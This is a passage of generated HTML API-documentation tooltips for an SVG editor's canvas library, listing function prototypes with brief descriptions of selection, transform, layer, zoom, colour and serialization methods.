class=CToolTip id="tt20"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addSvgElementFromJson = this.addSvgElementFromJson = function(</td><td class=PParameter nowrap>data</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Create a new SVG element based on the given object keys/values and add it to the current layer The element will be ran through cleanupElement before being returned</div></div><div class=CToolTip id="tt21"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.addExtension = function(</td><td class=PParameter nowrap>name,</td></tr><tr><td></td><td class=PParameter nowrap>ext_func</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Add an extension to the editor</div></div><div class=CToolTip id="tt22"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var shortFloat = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Rounds a given value to a float with number of digits defined in save_options</div></div><div class=CToolTip id="tt23"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getStrokedBBox = this.getStrokedBBox = function(</td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get the bounding box for one or more stroked and/or transformed elements</div></div><div class=CToolTip id="tt24"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getVisibleElements = this.getVisibleElements = function(</td><td class=PParameter nowrap>parent,</td></tr><tr><td></td><td class=PParameter nowrap>includeBBox</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get all elements that have a BBox (excludes defs, title, etc). </div></div><div class=CToolTip id="tt25"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var copyElem = function(</td><td class=PParameter nowrap>el</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Create a clone of an element, updating its ID and its children&rsquo;s IDs when needed</div></div><div class=CToolTip id="tt26"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>function getElem(</td><td class=PParameter nowrap>id</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get a DOM element by ID within the SVG root element.</div></div><div class=CToolTip id="tt27"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>getId = c.getId = function()</td></tr></table></blockquote>Returns the last created DOM element ID string</div></div><div class=CToolTip id="tt28"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>getNextId = c.getNextId = function()</td></tr></table></blockquote>Creates and returns a unique ID string for a DOM element</div></div><div class=CToolTip id="tt29"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.bind = function(</td><td class=PParameter nowrap>event,</td></tr><tr><td></td><td class=PParameter nowrap>f</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Attaches a callback function to an event</div></div><div class=CToolTip id="tt30"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.setIdPrefix = function(</td><td class=PParameter nowrap>p</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Changes the ID prefix to the given value</div></div><div class=CToolTip id="tt31"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var sanitizeSvg = this.sanitizeSvg = function(</td><td class=PParameter nowrap>node</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sanitizes the input node and its children It only keeps what is allowed from our whitelist defined above</div></div><div class=CToolTip id="tt32"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getUrlFromAttr = this.getUrlFromAttr = function(</td><td class=PParameter nowrap>attrVal</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Extracts the URL from the url(...)</div></div><div class=CToolTip id="tt33"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getBBox = this.getBBox = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get the given/selected element&rsquo;s bounding box object, convert it to be more usable when necessary</div></div><div class=CToolTip id="tt34"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ffClone = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Hack for Firefox bugs where text element features aren&rsquo;t updated. </div></div><div class=CToolTip id="tt35"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getPathBBox = function(</td><td class=PParameter nowrap>path</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get correct BBox for a path in Webkit Converted from code found here: http://blog.hackers-cafe.net/2009/06/how-to-calculate-bezier-curves-bounding.html</div></div><div class=CToolTip id="tt36"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getRotationAngle = this.getRotationAngle = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>to_rad</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get the rotation angle of the given/selected DOM element</div></div><div class=CToolTip id="tt37"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setRotationAngle = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>preventUndo</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Removes any old rotations if present, prepends a new rotation at the transformed center</div></div><div class=CToolTip id="tt38"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getTransformList = this.getTransformList = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns an object that behaves like a SVGTransformList for the given DOM element</div></div><div class=CToolTip id="tt39"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var recalculateAllSelectedDimensions = this.recalculateAllSelectedDimensions = function()</td></tr></table></blockquote>Runs recalculateDimensions on the selected elements, adding the changes to a single batch command</div></div><div class=CToolTip id="tt40"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var remapElement = this.remapElement = function(</td><td class=PParameter nowrap>selected,</td></tr><tr><td></td><td class=PParameter nowrap>changes,</td></tr><tr><td></td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Applies coordinate changes to an element based on the given matrix</div></div><div class=CToolTip id="tt41"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var recalculateDimensions = this.recalculateDimensions = function(</td><td class=PParameter nowrap>selected</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Decides the course of action based on the element&rsquo;s transform list</div></div><div class=CToolTip id="tt42"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var transformPoint = function(</td><td class=PParameter nowrap>x,</td></tr><tr><td></td><td class=PParameter nowrap>y,</td></tr><tr><td></td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>A (hopefully) quicker function to transform a point by a matrix (this function avoids any DOM calls and just does the math)</div></div><div class=CToolTip id="tt43"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var isIdentity = function(</td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Helper function to check if the matrix performs no actual transform (i.e. </div></div><div class=CToolTip id="tt44"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var matrixMultiply = this.matrixMultiply = function()</td></tr></table></blockquote>This function tries to return a SVGMatrix that is the multiplication m1*m2. </div></div><div class=CToolTip id="tt45"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var transformListToTransform = this.transformListToTransform = function(</td><td class=PParameter nowrap>tlist,</td></tr><tr><td></td><td class=PParameter nowrap>min,</td></tr><tr><td></td><td class=PParameter nowrap>max</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This returns a single matrix Transform for a given Transform List (this is the equivalent of SVGTransformList.consolidate() but unlike that method, this one does not modify the actual SVGTransformList) This function is very liberal with its min,max arguments</div></div><div class=CToolTip id="tt46"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var hasMatrixTransform = this.hasMatrixTransform = function(</td><td class=PParameter nowrap>tlist</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>See if the given transformlist includes a non-indentity matrix transform</div></div><div class=CToolTip id="tt47"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getMatrix = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Get the matrix object for a given element</div></div><div class=CToolTip id="tt48"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var transformBox = this.transformBox = function(</td><td class=PParameter nowrap>l,</td></tr><tr><td></td><td class=PParameter nowrap>t,</td></tr><tr><td></td><td class=PParameter nowrap>w,</td></tr><tr><td></td><td class=PParameter nowrap>h,</td></tr><tr><td></td><td class=PParameter nowrap>m</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Transforms a rectangle based on the given matrix</div></div><div class=CToolTip id="tt49"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var clearSelection = this.clearSelection = function(</td><td class=PParameter nowrap>noCall</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Clears the selection. </div></div><div class=CToolTip id="tt50"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var addToSelection = this.addToSelection = function(</td><td class=PParameter nowrap>elemsToAdd,</td></tr><tr><td></td><td class=PParameter nowrap>showGrips</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds a list of elements to the selection. </div></div><div class=CToolTip id="tt51"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var removeFromSelection = this.removeFromSelection = function(</td><td class=PParameter nowrap>elemsToRemove</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Removes elements from the selection.</div></div><div class=CToolTip id="tt52"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.selectAllInCurrentLayer = function()</td></tr></table></blockquote>Clears the selection, then adds all elements in the current layer to the selection. </div></div><div class=CToolTip id="tt53"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var smoothControlPoints = this.smoothControlPoints = function(</td><td class=PParameter nowrap>ct1,</td></tr><tr><td></td><td class=PParameter nowrap>ct2,</td></tr><tr><td></td><td class=PParameter nowrap>pt</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Takes three points and creates a smoother line based on them</div></div><div class=CToolTip id="tt54"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var getMouseTarget = this.getMouseTarget = function(</td><td class=PParameter nowrap>evt</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Gets the desired element from a mouse event</div></div><div class=CToolTip id="tt55"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var preventClickDefault = function(</td><td class=PParameter nowrap>img</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Prevents default browser click behaviour on the given element</div></div><div class=CToolTip id="tt56"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var removeUnusedDefElems = this.removeUnusedDefElems = function()</td></tr></table></blockquote>Looks at DOM elements inside the defs to see if they are referred to, removes them from the DOM if they are not.</div></div><div class=CToolTip id="tt57"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var svgCanvasToString = this.svgCanvasToString = function()</td></tr></table></blockquote>Main function to set up the SVG content for output</div></div><div class=CToolTip id="tt58"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var svgToString = this.svgToString = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>indent</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sub function ran on each SVG element to convert it to a string as desired</div></div><div class=CToolTip id="tt59"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.embedImage = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>callback</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Converts a given image file to a data URL when possible, then runs a given callback</div></div><div class=CToolTip id="tt60"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.save = function(</td><td class=PParameter nowrap>opts</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Serializes the current drawing into SVG XML text and returns it to the &lsquo;saved&rsquo; handler. </div></div><div class=CToolTip id="tt61"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.rasterExport = function()</td></tr></table></blockquote>Generates a PNG Data URL based on the current image, then calls &ldquo;exported&rdquo; with an object including the string and any issues found</div></div><div class=CToolTip id="tt62"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getSvgString = function()</td></tr></table></blockquote>Returns the current drawing as raw SVG XML text.</div></div><div class=CToolTip id="tt63"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setSvgString = function(</td><td class=PParameter nowrap>xmlString</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function sets the current drawing as the input SVG XML.</div></div><div class=CToolTip id="tt64"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.importSvgString = function(</td><td class=PParameter nowrap>xmlString</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function imports the input SVG XML into the current layer in the drawing</div></div><div class=CToolTip id="tt65"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var identifyLayers = function()</td></tr></table></blockquote>Updates layer system</div></div><div class=CToolTip id="tt66"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.createLayer = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Creates a new top-level layer in the drawing with the given name, sets the current layer to it, and then clears the selection  This function then calls the &lsquo;changed&rsquo; handler. </div></div><div class=CToolTip id="tt67"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteCurrentLayer = function()</td></tr></table></blockquote>Deletes the current layer from the drawing and then clears the selection. </div></div><div class=CToolTip id="tt68"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getNumLayers = function()</td></tr></table></blockquote>Returns the number of layers in the current drawing.</div></div><div class=CToolTip id="tt69"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getLayer = function(</td><td class=PParameter nowrap>i</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns the name of the ith layer. </div></div><div class=CToolTip id="tt70"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getCurrentLayer = function()</td></tr></table></blockquote>Returns the name of the currently selected layer. </div></div><div class=CToolTip id="tt71"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setCurrentLayer = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the current layer. </div></div><div class=CToolTip id="tt72"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.renameCurrentLayer = function(</td><td class=PParameter nowrap>newname</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Renames the current layer. </div></div><div class=CToolTip id="tt73"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setCurrentLayerPosition = function(</td><td class=PParameter nowrap>newpos</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Changes the position of the current layer to the new value. </div></div><div class=CToolTip id="tt74"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getLayerVisibility = function(</td><td class=PParameter nowrap>layername</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns whether the layer is visible. </div></div><div class=CToolTip id="tt75"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setLayerVisibility = function(</td><td class=PParameter nowrap>layername,</td></tr><tr><td></td><td class=PParameter nowrap>bVisible</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the visibility of the layer. </div></div><div class=CToolTip id="tt76"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.moveSelectedToLayer = function(</td><td class=PParameter nowrap>layername</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Moves the selected elements to layername. </div></div><div class=CToolTip id="tt77"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getLayerOpacity = function(</td><td class=PParameter nowrap>layername</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns the opacity of the given layer. </div></div><div class=CToolTip id="tt78"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setLayerOpacity = function(</td><td class=PParameter nowrap>layername,</td></tr><tr><td></td><td class=PParameter nowrap>opacity</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the opacity of the given layer. </div></div><div class=CToolTip id="tt79"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.clear = function()</td></tr></table></blockquote>Clears the current document. </div></div><div class=CToolTip id="tt80"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getContentElem = function()</td></tr></table></blockquote>Returns the content DOM element</div></div><div class=CToolTip id="tt81"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getRootElem = function()</td></tr></table></blockquote>Returns the root DOM element</div></div><div class=CToolTip id="tt82"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getSelectedElems = function()</td></tr></table></blockquote>Returns the array with selected DOM elements</div></div><div class=CToolTip id="tt83"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var getResolution = this.getResolution = function()</td></tr></table></blockquote>Returns the current dimensions and zoom level in an object</div></div><div class=CToolTip id="tt84"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getZoom = function()</td></tr></table></blockquote>Returns the current zoom level</div></div><div class=CToolTip id="tt85"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getVersion = function()</td></tr></table></blockquote>Returns a string which describes the revision number of SvgCanvas.</div></div><div class=CToolTip id="tt86"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setUiStrings = function(</td><td class=PParameter nowrap>strs</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Update interface strings with given values</div></div><div class=CToolTip id="tt87"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setConfig = function(</td><td class=PParameter nowrap>opts</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Update configuration options with given values</div></div><div class=CToolTip id="tt88"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getDocumentTitle = function()</td></tr></table></blockquote>Returns the current document title or an empty string if not found</div></div><div class=CToolTip id="tt89"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setDocumentTitle = function(</td><td class=PParameter nowrap>newtitle</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Adds/updates a title element for the document with the given name. </div></div><div class=CToolTip id="tt90"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getEditorNS = function(</td><td class=PParameter nowrap>add</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns the editor&rsquo;s namespace URL, optionally adds it to root element</div></div><div class=CToolTip id="tt91"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setResolution = function(</td><td class=PParameter nowrap>x,</td></tr><tr><td></td><td class=PParameter nowrap>y</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Changes the document&rsquo;s dimensions to the given size</div></div><div class=CToolTip id="tt92"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getOffset = function()</td></tr></table></blockquote>Returns an object with x, y values indicating the svgcontent element&rsquo;s position in the editor&rsquo;s canvas.</div></div><div class=CToolTip id="tt93"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setBBoxZoom = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>editor_w,</td></tr><tr><td></td><td class=PParameter nowrap>editor_h</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the zoom level on the canvas-side based on the given value</div></div><div class=CToolTip id="tt94"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setZoom = function(</td><td class=PParameter nowrap>zoomlevel</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the zoom to the given level</div></div><div class=CToolTip id="tt95"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getMode = function()</td></tr></table></blockquote>Returns the current editor mode string</div></div><div class=CToolTip id="tt96"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setMode = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Sets the editor&rsquo;s mode to the given string</div></div><div class=CToolTip id="tt97"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getColor = function(</td><td class=PParameter nowrap>type</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Returns the current fill/stroke option</div></div><div class=CToolTip id="tt98"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setColor = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>preventUndo</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Change the current stroke/fill color/gradient value</div></div><div class=CToolTip id="tt99"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var findDefs = function()</td></tr></table></blockquote>Return the document&rsquo;s defs element, create it first if necessary</div></div><div class=CToolTip id="tt100"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var setGradient = this.setGradient = function(</td><td class=PParameter nowrap>type</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Apply the current gradient to selected element&rsquo;s fill or stroke</div></div><div class=CToolTip id="tt101"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var findDuplicateGradient = function(</td><td class=PParameter nowrap>grad</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Check if exact gradient already exists</div></div><div class=CToolTip id="tt102"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setPaint = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter 